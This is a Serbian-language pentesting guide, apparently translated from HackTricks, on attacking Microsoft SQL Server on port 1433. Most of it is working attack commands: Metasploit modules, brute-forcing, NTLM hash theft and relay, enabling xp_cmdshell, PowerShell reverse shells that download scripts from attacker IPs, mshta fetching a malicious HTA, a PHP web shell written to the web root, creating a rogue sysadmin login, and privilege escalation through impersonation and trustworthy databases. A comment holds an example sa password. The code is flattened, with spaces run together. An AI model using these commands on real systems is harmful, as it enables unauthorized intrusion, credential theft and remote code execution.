Microsoft SQL Server je sistem za upravljanje relacionim bazama podataka koji je razvio Microsoft. Kao server baze podataka, to je softverski proizvod čija je primarna funkcija skladištenje i preuzimanje podataka na zahtev drugih softverskih aplikacija—koje mogu raditi ili na istom računaru ili na drugom računaru preko mreže (uključujući Internet).\
Podrazumevani port: 1433
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
Podrazumevane MS-SQL sistemske tabele
master Baza podataka: Ova baza podataka je ključna jer beleži sve sistemske detalje za SQL Server instancu.
msdb Baza podataka: SQL Server Agent koristi ovu bazu podataka za upravljanje rasporedom za alarme i poslove.
model Baza podataka: Deluje kao plan za svaku novu bazu podataka na SQL Server instanci, gde se sve izmene poput veličine, kolacije, modela oporavka i još mnogo toga odražavaju u novokreiranim bazama podataka.
Resource Baza podataka: Baza podataka samo za čitanje koja sadrži sistemske objekte koji dolaze sa SQL Server-om. Ovi objekti, iako su fizički smešteni u Resource bazi podataka, logički su predstavljeni u sys šemi svake baze podataka.
tempdb Baza podataka: Služi kao privremeni prostor za skladištenje prolaznih objekata ili međurezultata.
Ako nemateakreditive, možete pokušati da ih pogodite. Možete koristiti nmap ili metasploit. Budite oprezni, možete blokirati naloge ako nekoliko puta zaredom ne uspete da se prijavite koristeći postojeće korisničko ime.
Metasploit (potrebni akreditivi)
#Set USERNAME, RHOSTS and PASSWORD#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used#Steal NTLMmsf> useauxiliary/admin/mssql/mssql_ntlm_stealer#Steal NTLM hash, before executing run Responder#Info gatheringmsf> useadmin/mssql/mssql_enum#Security checksmsf> useadmin/mssql/mssql_enum_domain_accountsmsf> useadmin/mssql/mssql_enum_sql_loginsmsf> useauxiliary/admin/mssql/mssql_findandsampledatamsf> useauxiliary/scanner/mssql/mssql_hashdumpmsf> useauxiliary/scanner/mssql/mssql_schemadump#Search for insteresting datamsf> useauxiliary/admin/mssql/mssql_findandsampledatamsf> useauxiliary/admin/mssql/mssql_idf#Privescmsf> useexploit/windows/mssql/mssql_linkcrawlermsf> useadmin/mssql/mssql_escalate_execute_as#If the user has IMPERSONATION privilege, this will try to escalatemsf> useadmin/mssql/mssql_escalate_dbowner#Escalate from db_owner to sysadmin#Code executionmsf> useadmin/mssql/mssql_exec#Execute commandsmsf> useexploit/windows/mssql/mssql_payload#Uploads and execute a payload#Add new admin user from meterpreter sessionmsf> usewindows/manage/mssql_local_auth_bypass
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txtmssqlpwnerhosts.txtbrute-tltickets.txt-ulusers.txt-hlhashes.txt-plpasswords.txt# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txtmssqlpwnerhosts.txtbrute-ulusers.txt-hlhashes.txt-plpasswords.txt# Bruteforce using tickets against the hosts listed on the hosts.txtmssqlpwnerhosts.txtbrute-tltickets.txt-ulusers.txt# Bruteforce using passwords against the hosts listed on the hosts.txtmssqlpwnerhosts.txtbrute-ulusers.txt-plpasswords.txt# Bruteforce using hashes against the hosts listed on the hosts.txtmssqlpwnerhosts.txtbrute-ulusers.txt-hlhashes.txt
# Using Impacket mssqlclient.pymssqlclient.py [-db volume]<DOMAIN>/<USERNAME>:<PASSWORD>@<IP>## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machinemssqlclient.py [-db volume]-windows-auth<DOMAIN>/<USERNAME>:<PASSWORD>@<IP># Using sqshsqsh-S<IP>-U<Username>-P<Password>-D<Database>## In case Windows Auth using "." as domain name for local usersqsh-S<IP>-U.\\<Username>-P<Password>-D<Database>## In sqsh you need to use GO after writting the query to send it1>select 1;2> go
Uobičajena Enumeracija
# Getversionselect @@version;# Get userselectuser_name();# Get databasesSELECTnameFROM master.dbo.sysdatabases;# UsedatabaseUSEmaster#Gettable namesSELECT*FROM<databaseName>.INFORMATION_SCHEMA.TABLES;#List Linked ServersEXEC sp_linkedserversSELECT*FROM sys.servers;#List usersselect sp.name aslogin, sp.type_desc aslogin_type, sl.password_hash, sp.create_date, sp.modify_date, casewhen sp.is_disabled =1then'Disabled'else'Enabled'endasstatusfrom sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type notin ('G', 'R') order by sp.name;#Create user with sysadmin privsCREATELOGIN hacker WITHPASSWORD='P@ssword123!'EXEC sp_addsrvrolemember 'hacker', 'sysadmin'#Enumerate linksenum_links#Use a linkuse_link [NAME]
# Get all the users and rolesselect*from sys.database_principals;## This query filters a bit the resultsselectname,create_date,modify_date,type_descastype,authentication_type_desc as authentication_type,sidfrom sys.database_principalswheretypenotin ('A', 'R')order byname;## Both of these select all the users of the current database (not the server).## Interesting when you cannot acces the table sys.database_principalsEXEC sp_helpuserSELECT*FROM sysusers
Dobijanje dozvola
Securable: Definisano kao resursi kojima upravlja SQL Server za kontrolu pristupa. Ovi su kategorizovani u:
Server – Primeri uključuju baze podataka, prijave, krajnje tačke, grupe dostupnosti i server uloge.
Database – Primeri obuhvataju uloge baze podataka, aplikacione uloge, šeme, sertifikate, kataloge punog teksta i korisnike.
Schema – Uključuje tabele, prikaze, procedure, funkcije, sinonime itd.
Permission: Povezane sa SQL Server securables, dozvole kao što su ALTER, CONTROL i CREATE mogu se dodeliti principalu. Upravljanje dozvolama se vrši na dva nivoa:
Server Level koristeći prijave
Database Level koristeći korisnike
Principal: Ovaj termin se odnosi na entitet kojem je dodeljena dozvola za securable. Principali uglavnom uključuju prijave i korisnike baze podataka. Kontrola pristupa securables se vrši kroz dodeljivanje ili odbijanje dozvola ili uključivanjem prijava i korisnika u uloge opremljene pravima pristupa.
# Show all different securables namesSELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);# Show all possible permissions in MSSQLSELECT*FROM sys.fn_builtin_permissions(DEFAULT);# Get all my permissions over securable typeSERVERSELECT*FROM fn_my_permissions(NULL, 'SERVER');# Get all my permissions over a databaseUSE<database>SELECT*FROM fn_my_permissions(NULL, 'DATABASE');# Get members of the role"sysadmin"UsemasterEXEC sp_helpsrvrolemember 'sysadmin';# Getif the current user is sysadminSELECTIS_SRVROLEMEMBER('sysadmin');# Get users that can run xp_cmdshellUsemasterEXEC sp_helprotect 'xp_cmdshell'
Tricks
Execute OS Commands
Napomena da je za izvršavanje komandi neophodno ne samo da je xp_cmdshellomogućena, već i da imate EXECUTE dozvolu na xp_cmdshell skladištenoj proceduri. Možete saznati ko (osim sysadmin-a) može koristiti xp_cmdshell sa:
UsemasterEXEC sp_helprotect 'xp_cmdshell'
# Username + Password + CMD commandcrackmapexecmssql-d<Domainname>-u<username>-p<password>-x"whoami"# Username + Hash + PS commandcrackmapexecmssql-d<Domainname>-u<username>-H<HASH>-X'$PSVersionTable'# Check if xp_cmdshell is enabledSELECT*FROMsys.configurationsWHEREname='xp_cmdshell';# This turns on advanced options and is needed to configure xp_cmdshellsp_configure'show advanced options','1'RECONFIGURE#This enables xp_cmdshellsp_configure'xp_cmdshell','1'RECONFIGURE#One linerEXECsp_configure'Show Advanced Options',1; RECONFIGURE; EXECsp_configure'xp_cmdshell',1; RECONFIGURE;# Quickly check what the service account is via xp_cmdshellEXECmaster..xp_cmdshell'whoami'# Get Rev shellEXECxp_cmdshell'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'# Bypass blackisted "EXEC xp_cmdshell"'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'pingk7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
# Executing custom assembly on the current server with windows authentication and executing hostname commandmssqlpwnercorp.com/user:lab@192.168.1.65-windows-authcustom-asmhostname# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked servermssqlpwnercorp.com/user:lab@192.168.1.65-windows-auth-link-nameSRV01custom-asmhostname# Executing the hostname command using stored procedures on the linked SRV01 servermssqlpwnercorp.com/user:lab@192.168.1.65-windows-auth-link-nameSRV01exechostname# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate methodmssqlpwnercorp.com/user:lab@192.168.1.65-windows-auth-link-nameSRV01exec"cmd /c mshta http://192.168.45.250/malicious.hta"-command-execution-methodsp_oacreate
Ukradi NetNTLM hash / Relay napad
Trebalo bi da pokrenete SMB server da uhvatite hash koji se koristi u autentifikaciji (impacket-smbserver ili responder na primer).
# Issuing NTLM relay attack on the SRV01 servermssqlpwnercorp.com/user:lab@192.168.1.65-windows-auth-link-nameSRV01ntlm-relay192.168.45.250# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25mssqlpwnercorp.com/user:lab@192.168.1.65-windows-auth-chain-id2e9a3696-d8c2-4edd-9bcc-2908414eeb25ntlm-relay192.168.45.250# Issuing NTLM relay attack on the local server with custom commandmssqlpwnercorp.com/user:lab@192.168.1.65-windows-authntlm-relay192.168.45.250
Možete proveriti ko (osim sysadmin-a) ima dozvole da pokreće te MSSQL funkcije sa:
Da bismo pisali fajlove koristeći MSSQL, moramo omogućitiOle Automation Procedures, što zahteva administratorske privilegije, a zatim izvršiti neke sačuvane procedure za kreiranje fajla:
# Enable Ole Automation Proceduressp_configure'show advanced options',1RECONFIGUREsp_configure'Ole Automation Procedures',1RECONFIGURE# Create a FileDECLARE@OLEINTDECLARE@FileIDINTEXECUTEsp_OACreate'Scripting.FileSystemObject',@OLEOUTEXECUTEsp_OAMethod@OLE,'OpenTextFile',@FileIDOUT,'c:\inetpub\wwwroot\webshell.php',8,1EXECUTEsp_OAMethod@FileID,'WriteLine',Null,'<?php echo shell_exec($_GET["c"]);?>'EXECUTEsp_OADestroy@FileIDEXECUTEsp_OADestroy@OLE
Čitanje datoteke sa OPENROWSET
Podrazumevano, MSSQL omogućava čitanje datoteka na bilo kojoj datoteci u operativnom sistemu na kojoj nalog ima pristup za čitanje. Možemo koristiti sledeći SQL upit:
SELECT*FROMOPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
Međutim, BULK opcija zahteva ADMINISTER BULK OPERATIONS ili ADMINISTER DATABASE BULK OPERATIONS dozvolu.
# Checkif you have itSELECT*FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS'OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
RCE/Čitanje datoteka izvršavanjem skripti (Python i R)
MSSQL može omogućiti izvršavanje skripti u Pythonu i/ili R. Ovi kodovi će biti izvršeni od strane drugog korisnika nego onog koji koristi xp_cmdshell za izvršavanje komandi.
Primer pokušaja izvršavanja 'R'"Hellow World!"ne radi:
Primer korišćenja konfigurisanog Pythona za izvođenje nekoliko akcija:
# Print the user being used (andexecute commands)EXECUTE sp_execute_external_script @language =N'Python', @script =N'print(__import__("getpass").getuser())'EXECUTE sp_execute_external_script @language =N'Python', @script =N'print(__import__("os").system("whoami"))'#Openandread a fileEXECUTE sp_execute_external_script @language =N'Python', @script =N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'#MultilineEXECUTE sp_execute_external_script @language =N'Python', @script = N'import sysprint(sys.version)'GO
Čitanje registra
Microsoft SQL Server pruža više proširenih skladišnih procedura koje vam omogućavaju da komunicirate ne samo sa mrežom već i sa datotečnim sistemom, pa čak i sa Windows registrom:
Redovni
Svestan o instanci
sys.xp_regread
sys.xp_instance_regread
sys.xp_regenumvalues
sys.xp_instance_regenumvalues
sys.xp_regenumkeys
sys.xp_instance_regenumkeys
sys.xp_regwrite
sys.xp_instance_regwrite
sys.xp_regdeletevalue
sys.xp_instance_regdeletevalue
sys.xp_regdeletekey
sys.xp_instance_regdeletekey
sys.xp_regaddmultistring
sys.xp_instance_regaddmultistring
sys.xp_regremovemultistring
sys.xp_instance_regremovemultistring
# Example read registryEXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';# Example write andthenread registryEXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';# Example tocheck who can use these functionsUsemaster;EXEC sp_helprotect 'xp_regread';EXEC sp_helprotect 'xp_regwrite';
RCE sa MSSQL korisnički definisanom funkcijom - SQLHttp
Moguće je učitati .NET dll unutar MSSQL sa prilagođenim funkcijama. Ovo, međutim, zahteva dbo pristup tako da vam je potrebna veza sa bazom podataka kao sa ili u ulozi Administratora.
Ako običan korisnik dobije ulogu db_owner nad bazom podataka koju poseduje admin korisnik (kao što je sa) i ta baza podataka je konfigurisana kao trustworthy, taj korisnik može zloupotrebiti te privilegije za privesc jer stored procedures kreirane tamo mogu izvršavati kao vlasnik (admin).
# Get owners of databasesSELECTsuser_sname(owner_sid) FROM sys.databases# Find trustworthy databasesSELECT a.name,b.is_trustworthy_onFROMmaster..sysdatabases as aINNER JOIN sys.databases as bON a.name=b.name;# Get roles over the selected database (look for your username as db_owner)USE<trustworthy_db>SELECT rp.name as database_role, mp.name as database_userfrom sys.database_role_members drmjoin sys.database_principals rp on (drm.role_principal_id = rp.principal_id)join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)# If you found you are db_owner of a trustworthydatabase, you can privesc:--1. Create a stored procedure to add your user to sysadmin roleUSE<trustworthy_db>CREATEPROCEDURE sp_elevate_meWITHEXECUTEASOWNERASEXEC sp_addsrvrolemember 'USERNAME','sysadmin'--2. Execute stored procedure to get sysadmin roleUSE<trustworthy_db>EXEC sp_elevate_me--3. Verify your user is a sysadminSELECTis_srvrolemember('sysadmin')
SQL Server ima posebnu dozvolu, nazvanu IMPERSONATE, koja omogućava izvršnom korisniku da preuzme dozvole drugog korisnika ili prijave dok se kontekst ne resetuje ili sesija ne završi.
# Find users you can impersonateSELECT distinct b.nameFROM sys.server_permissions aINNER JOIN sys.server_principals bON a.grantor_principal_id = b.principal_idWHERE a.permission_name ='IMPERSONATE'# Checkif the user "sa"or any other high privileged user is mentioned# Impersonate sa userEXECUTEASLOGIN='sa'SELECT SYSTEM_USERSELECTIS_SRVROLEMEMBER('sysadmin')# If you can't find any users, make sure to check for linksenum_links# If there is a link of interest, re-run the above steps on each linkuse_link [NAME]
Ako možete da se pretvarate da ste korisnik, čak i ako on nije sysadmin, trebalo bi da proverite da li korisnik ima pristup drugim baza podataka ili povezanih servera.
Imajte na umu da kada postanete sysadmin, možete se pretvarati da ste bilo koji drugi:
-- Impersonate RegUserEXECUTEASLOGIN='RegUser'-- Verify you are now running as the the MyUser4 loginSELECT SYSTEM_USERSELECTIS_SRVROLEMEMBER('sysadmin')-- Change back to saREVERT
Možete izvesti ovaj napad pomoću metasploit modula:
Napadač može da ekstrakuje lozinke SQL Server Linked Servers iz SQL instanci i dobije ih u čistom tekstu, omogućavajući napadaču lozinke koje se mogu koristiti za sticanje veće kontrole nad metom. Skripta za ekstrakciju i dekripciju lozinki koje su sačuvane za Linked Servers može se pronaći ovde
Neki zahtevi i konfiguracije moraju biti izvršeni kako bi ovaj exploit radio. Prvo, morate imati administratorska prava na mašini, ili mogućnost upravljanja SQL Server konfiguracijama.
Nakon što potvrdite svoja prava, potrebno je konfigurisati tri stvari, a to su:
Omogućiti TCP/IP na SQL Server instancama;
Dodati Start Up parametar, u ovom slučaju, biće dodat trace flag, koji je -T7806.
Omogućiti udaljenu administratorsku konekciju.
Da automatizujete ove konfiguracije, ovo skladište ima potrebne skripte. Pored toga što ima powershell skriptu za svaki korak konfiguracije, skladište takođe ima kompletnu skriptu koja kombinuje skripte za konfiguraciju i ekstrakciju i dekripciju lozinki.
Korisnik koji pokreće MSSQL server će imati omogućenu privilegiju SeImpersonatePrivilege.
Verovatno ćete moći da eskalirate na Administratora prateći jednu od ove 2 stranice:
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
Port_Number: 1433 #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for MSSQL
Note: |
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).
#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G
###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go
2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go
3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go
xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"
https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server
Entry_2:
Name: Nmap for SQL
Description: Nmap with SQL Scripts
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}
Entry_3:
Name: MSSQL consolesless mfs enumeration
Description: MSSQL enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'